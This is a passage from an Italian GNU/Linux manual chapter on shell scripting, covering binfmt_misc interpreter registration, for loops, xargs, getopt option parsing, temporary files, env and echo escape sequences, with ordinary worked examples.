20.10.7 Cambia la parola d'ordine a un utente Unix e Samba, simultaneamente . . 972
20.10.8 Elimina un utente Unix e Samba, simultaneamente 973
20.10.9 Seleziona interattivamente salvando la selezione 974
20.10.10 Verifica che l'utente proprietario di un file possa accedervi 978
20.10.11 Verifica che il gruppo proprietario di un file possa accedervi 979
20.10.12 Verifica che gli utenti diversi possano accedere a un file 981
20.10.13 Estrapola il nome dell'utente proprietario di un file 983
20.10.14 Estrapola la directory personale di un utente 984
20.10.15 Estrapola il numero UID di un utente 984

20.11 Approfondimento: un esercizio con Dialog 985

20.11.1 Gestione dei file di testo 987
20.11.2 Copie delle versioni precedenti 989
20.11.3 Esportazione e importazione dati 989
20.11.4 Stampa 991
20.11.5 Sorgente 991

20.12 Riferimenti 1013

`echo` 942 `expr` 961 `false` 957 `printf` 942 `sleep` 964 `tee` 964 `test` 958 `true` 957 `yes` 950 `[` 958

In questo capitolo si tratta in generale il problema dell'interpretazione di programmi in un sistema GNU/Linux e in particolare degli strumenti di cui ci si può avvalere utilmente per la realizzazione di script per una shell standard, con esempi e funzioni per risolvere problematiche comuni.

20.1 Eseguibili, interpretabili e automazione dell'interpretazione

Quando si utilizza un sistema operativo complesso come GNU/Linux, dove il kernel ha un ruolo così importante, è difficile stabilire una distinzione netta tra un programma eseguibile binario e un programma interpretato. A livello astratto si intende che il programma interpretato richiede un programma interprete che è di fatto il suo esecutore, ma anche l'interprete potrebbe a sua volta essere interpretato da un altro programma di livello inferiore. È un po' come quando per tradurre un testo dal cinese all'italiano, si preferisce partire dal lavoro di qualcun altro che l'ha già tradotto in inglese.

Evidentemente si pone il problema di stabilire il livello di astrazione a cui si vuole fare riferimento. Si potrebbe dire che un programma binario «normale» sia quello che viene eseguito direttamente dal kernel senza bisogno di altri sostegni da parte di programmi interpreti aggiuntivi. In questo senso, potrebbe accadere anche di avere un programma che nel sistema «A» è un binario normale, mentre nel sistema «B» potrebbe essere eseguito per opera di un interprete intermedio, diventando lì un programma interpretato.

20.1.1 Script

Il classico tipo di programma interpretato è lo script che normalmente viene individuato dalla stessa shell attraverso cui viene avviato. Per questo è stata stabilita la convenzione per cui questi programmi sono contenuti in file di testo, in cui la prima riga deve indicare il percorso dell'interprete necessario.

```
#/bin/sh
```

Tale convenzione impone che, in questo tipo di script, il simbolo '**#**' rappresenti l'inizio di un commento e che comunque si tratti di un file di testo normale. Inoltre, è stabilito implicitamente che il programma interprete indicato riceva il nome dello script da interpretare come primo argomento.

È il kernel che deve interpretare la prima riga di uno script, per mettere in esecuzione l'interprete indicato.

20.1.2 Programmi da interpretare che non sono script

Quando il file da interpretare non è così semplice come uno script, per esempio perché non si tratta di un file di testo, si pone il problema di stabilire un metodo per il suo riconoscimento, altrimenti si è costretti a usare sempre un comando che richiami esplicitamente il suo interprete. L'esempio più comune di questa situazione è il programma scritto per un'altra piattaforma che si vuole utilizzare attraverso un interprete (o un emulatore) adatto. Generalmente, questi programmi estranei sono riconoscibili in base a una stringa binaria tipica che si può trovare all'inizio del file che li contiene; in pratica, in base al magic number del file. In altre situazioni, si può essere costretti a definire un'estensione particolare per i nomi di questi file, come avviene nel Dos.

20.1.3 Gestione del kernel dei binari eterogenei

A partire dall'introduzione dell'interprete Java anche per GNU/Linux, si è sentito maggiormente il problema di organizzare in modo coerente la gestione dei programmi che per un motivo o per l'altro devono essere interpretati attraverso un programma esterno al kernel stesso. Il meccanismo attuale permette una configurazione molto semplice del sistema, attraverso la quale si può automatizzare l'interpretazione di ciò che si vuole (sezione 8.3.1).

Per verificare che il kernel sia in grado di gestire questa funzione, basta controllare che all'interno della directory '`/proc/sys/fs/binfmt_misc/`' appaiano i file '`register`' e '`status`'; il secondo in particolare, dovrebbe contenere la parola '**`enabled`**'. Se non ci sono, ma il kernel incorpora la gestione di binari da interpretare, è necessario innestare il file system '**`binfmt_misc`**':

`#` **`mount -t binfmt_misc none /proc/sys/fs/binfmt_misc`** [*Invio*]

Una volta che sono disponibili i file virtuali '`register`' e '`status`', per attivare la funzionalità occorre intervenire con il comando seguente:

`#` **`echo 1 > /proc/sys/fs/binfmt_misc/status`** [*Invio*]

Per disattivarla, basta utilizzare il valore zero.

```
# echo 0 > /proc/sys/fs/binfmt_misc/status [Invio]
```

Quando la gestione è disattivata, la lettura del file '/proc/sys/fs/binfmt_misc/status' restituisce la stringa '**disabled**'.

20.1.3.1 Configurazione

Trattandosi di un'attività che riguarda il kernel, non c'è un file di configurazione vero e proprio. Per informare il kernel della presenza di programmi da interpretare attraverso eseguibili esterni, occorre sovrascrivere un file virtuale del file system '/proc/'. In generale, questo si ottiene utilizzando un comando '**echo**', il cui standard output viene ridiretto nel file '/proc/sys/fs/binfmt_misc/register'. Per definire il supporto a un tipo di programma interpretato, si utilizza una riga secondo la sintassi seguente:

:***nome***:***tipo***:[***scostamento***]:***riconoscimento***:[***maschera***]:***programma_interprete***:

Allo stato attuale, dal momento che i due punti verticali separano i vari campi di questo record, tale simbolo non può apparire all'interno di questi.

1. ***nome***

   Il primo campo serve a dare un nome a questo tipo di programma da interpretare. Ciò si traduce nella creazione di un file virtuale con lo stesso nome, '/proc/sys/fs/binfmt_misc/***nome***', che poi permette di controllarne le funzionalità.

2. ***tipo***

   Il secondo campo definisce il tipo di riconoscimento che si vuole utilizzare. La lettera '**M**' indica l'utilizzo di un magic number, ovvero una stringa nella parte iniziale del file, oppure la lettera '**E**' specifica che viene presa in considerazione l'estensione nel nome. Ciò serve a definire in che modo interpretare il quarto campo di questo record.

3. ***scostamento***

   Nel caso in cui si utilizzi un riconoscimento basato su una stringa iniziale, questa deve essere contenuta nei primi 128 byte, anche se non è detto che inizi dal primo. L'inizio della stringa di riconoscimento può essere indicato espressamente con un numero intero posto all'interno di questo campo: zero rappresenta il primo byte.

4. ***riconoscimento***

   Il quarto campo consente di inserire la stringa di riconoscimento o l'estensione del file. La stringa, ovvero il magic number, può essere specificata utilizzando delle sequenze di escape che consentono l'indicazione di valori esadecimali. Per questo si usa il prefisso '**\x**', seguito da due cifre esadecimali che rappresentano un byte alla volta. A questo proposito, è bene ricordare che se il record viene definito in una riga di comando di una shell, è molto probabile che la barra obliqua inversa debba essere raddoppiata.

   La stringa di riconoscimento può essere applicata a ciò che resta dopo il filtro con la maschera indicata nel campo successivo.

   Nel caso si specifichi l'uso dell'estensione per riconoscere il tipo di file, questa non deve contenere il punto iniziale, che così è sottinteso.

5. ***maschera***

   Il quinto campo serve a indicare una maschera da utilizzare per filtrare i bit che compongono la parte di file che deve essere utilizzata per il riconoscimento attraverso il magic number. In pratica, di solito non si utilizza e si ottiene l'applicazione della maschera predefinita: '**\ff**'. La maschera viene applicata attraverso un AND con i byte corrispondenti del file; quello che ne deriva viene usato per il paragone con il modello specificato nel quarto campo.

   La maschera predefinita, evidentemente, non provoca alcuna modifica.

6. ***programma_interprete***

   L'ultimo campo serve a indicare il percorso assoluto dell'interprete da utilizzare per mettere in esecuzione il programma identificato attraverso questo record. Evidentemente, si presume che questo programma possa essere avviato indicando il file da interpretare come primo argomento. Se necessario, l'interprete può essere uno script predisposto opportunamente per avviare il vero interprete nel modo richiesto.

Attualmente, si pongono delle limitazioni a cui è già stato accennato in parte:

- il record che definisce un tipo di eseguibile da interpretare non può superare i 255 caratteri;
- la stringa binaria di riconoscimento, ovvero il magic number, deve trovarsi all'intero dei primi 128 byte del file, ovvero dal byte zero al byte 127, e lo scostamento non può modificare questo limite;
- il contenuto dell'ultimo campo, quello del percorso di avvio dell'interprete, non può superare i 127 caratteri.

Segue la descrizione di alcuni esempi.

- `# echo ':Java:M::\xca\xfe\xba\xbe::/usr/bin/java:'` ↩
  ↪ `> /proc/sys/fs/binfmt_misc/register` [*Invio*]

  Definisce il binario Java, riconoscibile dalla sequenza esadecimale $CAFEBABE_{16}$, a partire dall'inizio del file. Per la sua interpretazione viene specificato il programma '`/usr/bin/java`', il quale potrebbe essere uno script che si occupa di avviare correttamente l'interprete giusto.

- `# echo ':Java:E::class::/usr/bin/java:'` ↩
  ↪ `> /proc/sys/fs/binfmt_misc/register` [*Invio*]

  Come nell'esempio precedente, con la differenza che l'eseguibile Java viene identificato solo per la presenza dell'estensione '`.class`'.

- `# echo ':acqua:M::#acqua::/bin/acqua:'` ↩
  ↪ `> /proc/sys/fs/binfmt_misc/register` [*Invio*]

  Definisce un eseguibile di tipo «acqua», riconoscibile dalla stringa iniziale '**#acqua**', a partire dall'inizio del file. Per la sua interpretazione viene specificato il programma '`/bin/acqua`'.

- `# echo ':acqua:E::acqua::/bin/acqua:' > /proc/sys/fs/binfmt_misc/register` [*Invio*]

  Definisce un eseguibile di tipo «acqua», riconoscibile dall'estensione '`.acqua`'. Per la sua interpretazione viene specificato il programma '`/bin/acqua`'.

Si osservi che i file eseguibili, anche se di fatto devono essere soltanto interpretati (quindi richiedono solo la lettura), devono avere i permessi di esecuzione.

20.1.3.2 Realizzazione pratica

Non si può pensare che ogni volta che si vuole utilizzare un binario estraneo da interpretare, si debba dare il comando apposito, come negli esempi mostrati nella sezione precedente. Evidentemente, si tratta di inserire queste dichiarazioni in uno script della procedura di inizializzazione del sistema (in mancanza d'altro si potrebbe usare il solito '`rc.local`', se predisposto, contenuto nella directory '`/etc/rc.d/`' o '`/etc/init.d/`', oppure in altra simile).

Una volta definito un tipo di eseguibile da interpretare, nella directory '`/proc/sys/fs/binfmt_misc/`' viene creato un file virtuale con il nome corrispondente a quanto indicato nel primo campo del record di definizione. Se questo file viene sovrascritto con il valore −1, si ottiene l'eliminazione del tipo corrispondente. Se si fa la stessa cosa con il file '`status`', si elimina la gestione di tutti i binari specificati precedentemente. Seguono due esempi.

- `# echo -1 > /proc/sys/fs/binfmt_misc/Java` [*Invio*]

  Elimina la gestione del tipo di binario '**`Java`**'.

- `# echo -1 > /proc/sys/fs/binfmt_misc/status` [*Invio*]

  Elimina la gestione di tutti i tipi di binari da interpretare.

20.2 Scansione di parole

Capita spesso la necessità di scandire un elenco di parole allo scopo di eseguire uno o più comandi nell'ambito di tale scansione, utilizzando le parole stesse come argomenti dei comandi. Per fare un esempio di cosa si intende con questo, si pensi a un elenco di nomi di file, a partire dal quale si vuole ottenere l'esecuzione di un comando, una volta per ognuno di questi nomi. Questo tipo di scansione si esegue facilmente realizzando dei piccoli programmi, in forma di script, oppure si utilizza il programma '**`xargs`**' quando ciò che si intende fare non è troppo complesso.

20.2.1 Il ciclo «for» di una shell standard

Il comando '**`for`**' di una shell standard scandisce degli elementi, in corrispondenza dei quali esegue una lista di comandi.

```
for variabile in valore...
do
    lista_di_comandi
done
```

L'elenco di parole che segue '**in**' viene espanso, generando una lista di elementi. La variabile indicata dopo '**for**' viene posta ogni volta al valore di ciascun elemento di questa lista e la lista di comandi che segue '**do**' viene eseguita ogni volta di conseguenza.

Per esempio, il comando seguente aggiunge a ogni file l'estensione '`.txt`', senza nemmeno bisogno di realizzare uno script:

$ **for a in * ; do mv $a $a.txt ; done** [*Invio*]

Volendo vedere meglio questo esempio in uno script, basta trasformarlo nel modo seguente:

```
#!/bin/sh
for a in *
do
    mv $a $a.txt
done
```

L'elenco di parole che segue '**in**', può anche essere contenuto in una variabile di ambiente. Per esempio, si osservi lo script seguente, che in pratica svolge la stessa operazione già descritta, ma raccogliendo prima l'elenco dei nomi attraverso il comando '**ls**':

```
#!/bin/sh
elenco=`ls`

for a in $elenco
do
    mv $a $a.txt
done
```

L'esempio seguente è più complesso, perché consente di cambiare l'estensione dei file, non solo di aggiungerne una. In particolare, si vuole sostituire l'estensione '`.testo`' con '`.txt`':

```
#!/bin/sh
for a in *.testo
do
    mv $a `echo $a | sed s/\.testo$/\.txt/`
done
```

In pratica, '**sed**' riceve dallo standard input il nome del file, nel quale trova la stringa finale '**.testo**' e la sostituisce con '**.txt**' (SED è descritto nella sezione 26.5).

20.2.2 Scansione con «xargs»

L'utilità del programma di servizio '**xargs**'[1] non si comprende immediatamente. Volendo sintetizzare, '**xargs**' estrae dallo standard input delle «parole», intese come sequenze di caratteri e simboli separati da spazi o da interruzioni di riga, per utilizzarle come argomenti di un comando che viene avviato più volte, in base alla quantità di queste parole disponibili.

La situazione più banale è quella rappresentata dal comando seguente:

$ **xargs echo** [*Invio*]

Volendo ottenere lo stesso risultato con uno script di shell, si potrebbe tradurre nel codice seguente:

```
#!/bin/sh
ELENCO=`cat`
RISULTATO=""
for a in $ELENCO
do
    RISULTATO="$RISULTATO $a"
done
echo $RISULTATO
```

In pratica, viene letto tutto lo standard input (salvo limiti di memoria); quanto inserito viene scandito e si aggiunge ogni elemento a una lista separata solo da uno spazio singolo; alla fine viene emessa questa lista attraverso lo standard output.

Si osservi che utilizzando '**xargs**' senza alcun argomento, si ottiene comunque questo risultato in modo predefinito.

$ **xargs echo** [*Invio*]

uno due tre quattro [*Invio*]

cinque sei [*Invio*]

sette [*Invio*]

[*Ctrl d*]

```
uno due tre quattro cinque sei sette
```

Quello che si vede sopra è un esempio di come può comportarsi '**xargs**' usato in questo modo. Benché sia questo il comportamento predefinito, di solito occorre specificare in che modo '**xargs**' debba leggere lo standard input:

xargs [*opzioni*] [*comando* [*argomenti_del_comando*]]

L'opzione che definisce in che modo debba comportarsi '**xargs**' nei confronti dello standard input va scelta tra quelle descritte nell'elenco che segue. È importante comprendere che non serve a nulla indicare più di una di queste opzioni, dal momento che solo l'ultima viene presa in considerazione.

- -I *stringa_da_rimpiazzare*

  In questo modo, si stabilisce che deve essere presa in considerazione una riga alla volta di ciò che proviene dallo standard input; tuttavia, questa riga non viene fornita automaticamente come argomento finale del comando, al contrario va utilizzato un simbolo per collocare tali informazioni. Si osservi l'esempio seguente:

$ **xargs -I ciao echo ciao ciao** [*Invio*]

uno due tre quattro [*Invio*]

```
uno due tre quattro uno due tre quattro
```

cinque sei [*Invio*]

```
cinque sei cinque sei
```

sette [*Invio*]

```
sette sette
```

[*Ctrl d*]

Come si vede, viene stabilito che la stringa '**ciao**' serve a indicare in che punto deve essere collocato ciò che si estrae dallo standard input.

- `-L` ***n_righe***

  Si stabilisce di utilizzare la quantità di righe non vuote indicata come argomento per ogni avvio del comando. Tuttavia, se una riga termina con uno spazio orizzontale (uno spazio vero e proprio o un carattere di tabulazione), si intende che questa non sia terminata e continui nella riga successiva. Si osservi l'esempio seguente che mostra proprio questo particolare:

$ **xargs -L 2 echo** [*Invio*]

uno due [*Invio*]

tre quattro cinque [*Invio*]

```
uno due tre quattro cinque
```

sei sette [*Invio*]

otto [*Invio*]

nove dieci [*Invio*]

```
sei sette otto nove dieci
```

undici [*Invio*]

[*Ctrl d*]

```
undici
```

Si può osservare che dopo la parola «sette» c'è uno spazio che crea una continuazione con la riga successiva.

- `--max-args=`***n_parole*** | `-n` ***n_parole***

Si stabilisce di utilizzare la quantità di parole indicata come argomento per ogni avvio del comando. Si osservi l'esempio seguente:

$ **xargs -n2 echo** [*Invio*]

uno due tre [*Invio*]

```
uno due
```

quattro cinque [*Invio*]

```
tre quattro
```

[*Ctrl d*]

```
cinque
```

Quelle che qui sono state chiamate «parole», ovvero le sequenze di caratteri che vengono prese in considerazione come elementi singoli, sono distinte in base all'uso di spazi, caratteri di tabulazione e interruzioni di riga. Queste parole possono anche essere delimitate tra apici singoli o doppi ('`'`' e '`"`'), per esempio per includere degli spazi di qualche tipo; inoltre è possibile utilizzare il carattere '`\`' per confermare il valore letterale del carattere successivo.

Oltre all'opzione che specifica la modalità di lettura e scansione dello standard input se ne possono usare altre, tra le quali quelle descritte nel seguito.

- `-E` ***stringa_di_fine_file***

  In condizioni normali, la fine del file viene riconosciuta al termine dello stesso. Negli esempi mostrati in precedenza, veniva terminato l'inserimento dei dati attraverso la combinazione [*Ctrl d*], proprio in questo senso. Tuttavia, attraverso questa opzione, '**`xargs`**' riconosce una stringa particolare, individuata come parola isolata, con lo scopo di indicare la fine dei dati da prendere in considerazione. In mancanza dell'uso di questa opzione, potrebbe trattarsi in modo predefinito della stringa '_', ma ciò non è assicurato dallo standard. Pertanto, se si deve usare la stringa '_' senza il significato di terminazione che potrebbe avere, diventa necessario l'uso dell'opzione '**`-E`**' con qualcosa di diverso, eventualmente anche solo la stringa nulla: '**`-E ""`**'.

- `--interactive` | `-p`

  Con questa opzione, si fa in modo che '**`xargs`**' chieda conferma prima di eseguire qualsiasi comando (*prompt*). La conferma avviene inserendo la lettera '**`y`**' e premendo successivamente [*Invio*]. Qualunque altra cosa annulla il comando proposto.

- `--verbose` | `-t`

  Mostra i comandi prima di eseguirli.

- `--max-chars=`***n_max_caratteri*** | `-s` ***n_max_caratteri***

  Permette di stabilire un limite massimo per la lunghezza dei comandi generati da '**`xargs`**' (si include tutto il comando generato, non solo gli argomenti che gli vengono forniti).

- `--exit` | `-x`

  In presenza di un comando che eccede la quantità di caratteri massima predefinita, o fissata con l'opzione '**`-s`**', termina il funzionamento di '**`xargs`**'.

20.3 Scansione delle opzioni della riga di comando

Se si realizza uno script che deve essere richiamato fornendogli degli argomenti (dei parametri) sotto forma di opzioni, come si è abituati con i programmi di servizio comuni, può essere conveniente l'utilizzo di programmi o comandi appositi. Se si dispone di una shell POSIX, si può utilizzare il comando '**`getopts`**', come descritto nella sezione 19.3.4.1. Eventualmente esiste anche un programma di servizio denominato '**`getopt`**' (senza la «s» finale), in grado di svolgere un compito equivalente (benché in modo differente), quando non ci si può avvalere del comando di shell. Va però osservato che il programma di servizio '**`getopt`**' non è previsto dallo standard POSIX. Quando nella documentazione di '**`getopt`**' si fa riferimento allo standard POSIX, ciò che può essere standard è il comportamento della funzione ***getopt()***, usata eventualmente da '**`getopt`**' stesso.

20.3.1 Programma «getopt»

Il programma di servizio '**`getopt`**' tradizionale ha la sintassi seguente:

`getopt` ***stringa_di_opzioni*** ***parametro***...

La stringa di opzioni è un elenco di lettere che rappresentano le opzioni ammissibili; se ci sono opzioni che richiedono un argomento, le lettere corrispondenti di questa stringa devono essere seguite dal simbolo due punti ('**`:`**'). Gli argomenti successivi sono i valori dei parametri da analizzare. Lo scopo del programma è solo quello di controllare che tutto sia in ordine e di mettere a posto ciò che è possibile sistemare, emettendo l'elenco delle opzioni, nel modo «corretto». Per esempio:

`$` **`getopt ab:c -a uno -b due -c tre quattro`** [*Invio*]

Potrebbe restituire il testo seguente:

```
-a -b due -c -- uno tre quattro
```

Infatti, avendo utilizzato la definizione '**`ab:c`**', è stato stabilito che solo l'opzione '**`-b`**' ha un argomento, per cui, l'argomento '**`uno`**' è stato spostato alla fine delle opzioni, dopo il trattino doppio ('**`--`**').

Se il programma '**`getopt`**' di cui si dispone è aderente strettamente alle specifiche POSIX (in quanto si utilizza una funzione ***getopt()*** limitata alle specifiche dello standard POSIX), il risultato che si ottiene è diverso, dal momento che la scansione termina nel momento in cui si trova il primo argomento che non riguarda le opzioni:

```
-a -- uno -b due -c tre quattro
```

L'esempio seguente dovrebbe chiarire in che modo si può utilizzare '**`getopt`**' per scandire gli argomenti della riga di comando:

```
#!/bin/sh
# scansione_1.sh

# Si raccoglie la stringa generata da getopt.
STRINGA_ARGOMENTI=`getopt ab:c "$@"`

# Si trasferisce nei parametri $1, $2,...
eval set -- "$STRINGA_ARGOMENTI"

while true ; do
    case "$1" in
        -a) echo "Opzione a"
            shift
            ;;
        -b) echo "Opzione b, argomento «$2»"
            shift 2
            ;;
        -c) echo "Opzione c"
            shift
            ;;
        --) shift
            break
            ;;
        *)  echo "Errore imprevisto!"
            exit 1
            ;;
        esac
done

echo "Argomenti rimanenti:"
for argomento in "$@"
do
    echo "$argomento"
done
```

In pratica, si comprende che lo scopo di '**`getopt`**' è solo quello di fare un po' di ordine tra le opzioni e di distinguere le opzioni dal resto. Supponendo che il nome dello script sia '**`scansione_1.sh`**', se si utilizza come nell'esempio già visto, si dovrebbe ottenere il risultato seguente:

$ **./scansione_1.sh -a uno -b due -c tre quattro** [*Invio*]

```
Opzione a
Opzione b, argomento «due»
Opzione c
Argomenti rimanenti:
uno
tre
quattro
```

Se invece '**getopt**' si deve adeguare alla funzione ***getopt()*** dello standard POSIX, il risultato cambia come segue:

```
Opzione a
Argomenti rimanenti:
uno
-b
due
-c
tre
quattro
```

20.3.2 Il funzionamento di «getopt» nella versione dei programmi di servizio Linux

I programmi di servizio Linux si compongono anche di una versione di '**getopt**'[2] un po' più evoluta dello standard, ma ugualmente compatibile con le versioni «normali». È ammissibile l'uso della stessa sintassi vista nella sezione precedente e in particolare si può anche forzare l'aderenza alle specifiche POSIX definendo la variabile di ambiente ***POSIXLY_CORRECT***. Questa edizione di '**getopt**' è in grado di identificare anche le opzioni «lunghe». Oltre allo schema sintattico già visto, si può utilizzare in particolare quello seguente:

getopt [*opzioni_di_getopt*] -o|--options ***stringa_di_opzioni_corte*** ↩
↪ [*opzioni_di_getopt*] -- ***parametro_da_scandire***...

In pratica, questa versione di '**getopt**' può avere delle opzioni proprie che ne regolano il funzionamento, tra le quali '**-o**' è obbligatoria, dal momento che il suo argomento è proprio la stringa che definisce quali opzioni possono essere presenti nei parametri. Eventualmente, per indicare opzioni lunghe, si utilizza l'opzione '**-l**'.

La stringa che definisce le opzioni corte, si comporta fondamentalmente come già spiegato nella sezione precedente. In particolare, se si usano due volte i due punti ('**::**'), si specifica che l'opzione ha un argomento facoltativo e non obbligatorio. La stringa che definisce le opzioni lunghe è simile a quella delle opzioni corte, con la differenza che, dovendo indicare dei nomi e non solo delle lettere singole, questi sono separati attraverso una virgola; per quanto riguarda l'uso dei due punti, la modalità è la stessa.

Questa versione di '**getopt**' ha anche la particolarità di essere in grado di proteggere gli argomenti che ne hanno bisogno, ma per arrivare a questo deve sapere con quale shell si sta

operando. Infatti, dal momento che '**getopt**' restituisce una stringa che poi deve essere scandita nuovamente, se un argomento contiene caratteri particolari che richiedono una qualche forma di protezione (come gli spazi), è necessario che venga fatta una trasformazione opportuna, la quale non può essere unica per tutte le situazioni. In condizioni normali, il risultato che si ottiene è adatto per Bash, altrimenti occorre utilizzare l'opzione '**-s**'.

Tabella 20.21. Alcune opzioni.

Opzione	Descrizione
`-o` ***stringa_di_opzioni_corte*** `--options` ***stringa_di_opzioni_corte***	Definisce le opzioni normali che devono essere cercate tra i parametri, specificando anche se queste hanno un argomento, obbligatorio o facoltativo.
`-l` ***stringa_di_opzioni_lunghe*** `--longoptions` ↩ ↪***stringa_di_opzioni_lunghe***	Definisce le opzioni lunghe che devono essere cercate tra i parametri, specificando anche se queste hanno un argomento, obbligatorio o facoltativo.
`-s` {`sh`|`bash`|`csh`|`tcsh`} `--shell` {`sh`|`bash`|`csh`|`tcsh`}	Definisce il tipo di shell che si sta utilizzando, permettendo di definire il modo migliore per proteggere i caratteri che richiedono questo tipo di accortezza.
`-n` ***nome_del_programma*** `--name` ***nome_del_programma***	Dal momento che '**getopt**' può segnalare gli errori, con questa opzione è possibile definire il nome del programma al quale attribuire l'errore generato.

Come esempio viene mostrata una variante dello script proposto nella sezione precedente, dove si scandiscono anche le opzioni lunghe e l'ultima ha un argomento facoltativo.

```
#!/bin/sh
# scansione_1.sh

# Si raccoglie la stringa generata da getopt.
STRINGA_ARGOMENTI=`getopt -o ab:c:: -l a-lunga,b-lunga:,c-lunga:: -- "$@"`

# Si trasferisce nei parametri $1, $2,...
eval set -- "$STRINGA_ARGOMENTI"

while true ; do
    case "$1" in
        -a|--a-lunga)
            echo "Opzione a"
            shift
            ;;
        -b|--b-lunga)
            echo "Opzione b, argomento «$2»"
            shift 2
            ;;
        -c|--c-lunga)
            case "$2" in
                "") echo "Opzione c, senza argomenti"
                    shift 2
                    ;;
```

```
                  *)  echo "Opzione c, argomento «$2»"
                      shift 2
                      ;;
              esac
              ;;
          --) shift
              break
              ;;
          *)  echo "Errore imprevisto!"
              exit 1
              ;;
          esac
done

echo "Argomenti rimanenti:"
for argomento in "$@"
do
    echo "$argomento"
done
```

Supponendo che il nome dello script sia '**scansione_2.sh**', se si utilizza come nell'esempio seguente,

$ **./scansione_2.sh -auno -bdue -ctre quattro** [*Invio*]

oppure

$ **./scansione_2.sh --a-lunga=uno --b-lunga=due --c-lunga=tre** ↩
↪ **quattro** [*Invio*]

si dovrebbe ottenere il risultato seguente:

```
Opzione a
Opzione b, argomento «due»
Opzione c, argomento «tre»
Argomenti rimanenti:
uno
quattro
```

Tuttavia, se utilizzando le opzioni corte, gli argomenti di queste non vengono attaccati alle lettere rispettive, come nell'esempio seguente,

$ **./scansione_2.sh -a uno -b due -c tre quattro** [*Invio*]

gli argomenti facoltativi non vengono presi in considerazione:

```
Opzione a
Opzione b, argomento «due»
Opzione c, senza argomenti
Argomenti rimanenti:
uno
tre
quattro
```

20.4 File temporanei

Quando si realizzano degli script, si ha spesso la necessità di realizzare dei file temporanei, magari solo per accumulare il risultato di un'elaborazione senza tentare di fare altri tipi di acrobazie. Il programma di servizio che si usa per queste cose è '**tempfile**':[3]

```
tempfile [opzioni]
```

Nella maggior parte dei casi, '**tempfile**' viene usato senza argomenti, ottenendo la creazione di un file vuoto nella directory temporanea ('/tmp/'), con permessi normali (lettura e scrittura per tutti, meno quanto filtrato dalla maschera dei permessi), ottenendo il percorso assoluto di questo file dallo standard output.

Tabella 20.25. Alcune opzioni.

Opzione	Descrizione
-d *directory* --directory *directory*	Se non si vuole usare la directory temporanea standard, si può specificare la directory di destinazione del file temporaneo con questa opzione.
-m *modalità_dei_permessi* --mode *modalità_dei_permessi*	Se si vuole evitare che il file temporaneo che viene creato abbia dei permessi di accesso troppo ampi, si può utilizzare questa opzione per stabilire qualcosa di diverso.

Segue la descrizione di alcuni esempi.

- $ **tempfile** [*Invio*]

  Crea un file temporaneo e ne restituisce il nome attraverso lo standard output.

- ```
  #!/bin/sh
  TEMPORANEO=`tempfile`
  ls -l / > $TEMPORANEO
  ...
  rm -r $TEMPORANEO
  ```

  Quello che si vede è l'esempio tipico di uno script, incompleto, in cui si crea un file temporaneo accumulandone il nome in una variabile di ambiente; quindi si fa qualcosa con quel file (in questo caso si inserisce il risultato del comando '**ls -l**'), infine si elimina il file, sempre utilizzando l'espansione della variabile che ne contiene il nome.
  ```

20.5 Ambiente

In situazioni determinate, può essere importante avviare un programma, o un altro script con un insieme di variabili di ambiente diverso da quello che si erediterebbe normalmente. Per questo si può usare il programma di servizio '**env**':[4]

env [*opzioni*] [*nome*=*valore*]... [*comando* [*argomenti_del_comando*]]

Come si può intuire, le opzioni di '**env**' servono a eliminare o ad aggiungere delle variabili di ambiente, senza interferire con l'ambiente dello script.

Tabella 20.27. Alcune opzioni.

Opzione	Descrizione
-u *variabile* --unset=*variabile*	Permette di eliminare la variabile di ambiente nominata.
- -i --ignore-environment	Azzera completamente tutto l'ambiente.

A titolo di esempio, si supponga di avere due script: nel primo viene dichiarata la variabile di ambiente ***CIAO*** e viene chiamato il secondo eliminando questa variabile dall'ambiente; il secondo script si limita a mostrare il contenuto di questa variabile, se è disponibile.

```
#!/bin/sh
# ./primo.sh
CIAO="ciao a tutti"
export CIAO
env -u CIAO ./secondo.sh
echo $CIAO
```

```
#!/bin/sh
# ./secondo.sh
echo $CIAO
```

Il risultato è che funziona solo la visualizzazione della variabile che avviene con il comando '**echo**' del primo script, perché nel secondo non è disponibile. Sarebbe stato diverso se il primo e unico script fosse stato quello seguente:

```
#!/bin/sh
# ./primo.sh
CIAO="ciao a tutti"
export CIAO
env -u CIAO echo $CIAO
```

```
echo $CIAO
```

In questo caso, anche se il comando '**echo**' viene avviato senza la disponibilità della variabile ***CIAO***, si otterrebbe ugualmente la sua visualizzazione, dal momento che l'espansione della stessa avviene prima della chiamata del programma '**env**'.

20.6 Interazione con l'utente

Spesso, la realizzazione di uno script di shell interattivo, è molto difficile; o meglio, è difficile realizzare qualcosa di pratico da usare. La shell offre il comando interno '**read**', per leggere ciò che viene inserito attraverso la tastiera, ma questo permette di ottenere un'interazione molto banale, a livello di riga di comando. In alternativa si possono usare dei programmi realizzati appositamente per abbellire gli script, come nel caso di '**dialog**'.

20.6.1 Utilizzo di «echo» e di «printf»

Il programma di servizio '**echo**'[5] emette le stringhe indicate come argomento, separate da uno spazio e con l'aggiunta di un codice di interruzione di riga finale. Per usare '**echo**' nel modo più compatibile possibile, occorre limitarsi allo schema sintattico seguente, conforme allo standard, dove non è ammesso l'uso di alcuna opzione:

```
echo [stringa...]
```

Il programma potrebbe riconoscere alcune sequenze di escape, utili per comporre il testo da visualizzare. Tuttavia, la versione GNU del programma e il comando omonimo della shell Bash richiedono un'opzione per conformarsi a tali sequenze speciali. Pertanto, per poter usare il comando o il programma '**echo**' in modo uniforme tra i vari sistemi Unix, è necessario evitare le sequenze di escape e le opzioni.

Tabella 20.31. Elenco delle sequenze di escape riconoscibili da '**echo**' e da '**printf**'.

Codice	Descrizione
`\\`	Inserisce la barra obliqua inversa ('****').
`\a`	Inserisce il codice <*BEL*> (avvisatore acustico).
`\b`	Inserisce il codice <*BS*> (*backspace*).
`\c`	Alla fine di una stringa previene l'inserimento di una nuova riga.
`\f`	Inserisce il codice <*FF*> (*formfeed*).
`\n`	Inserisce il codice <*LF*> (*linefeed*).
`\r`	Inserisce il codice <*CR*> (*carriage return*).
`\t`	Inserisce una tabulazione normale (<*HT*>).
`\v`	Inserisce una tabulazione verticale (<*VT*>).

Codice	Descrizione
`\0`***n***	Inserisce il carattere corrispondente al codice ottale ***n***.

Il testo visualizzato dal comando o dal programma '**`echo`**' è concluso normalmente da un codice di interruzione di riga. Un'estensione diffusa del programma '**`echo`**' consiste nella disponibilità dell'opzione '**`-n`**' (non standard), con cui si sopprime l'aggiunta di tale codice finale, consentendo di mantenere il cursore alla fine del testo visualizzato. Per esempio così:

```
$ echo -n "ciao " ; echo "a tutti" [Invio]
```

```
ciao a tutti
```

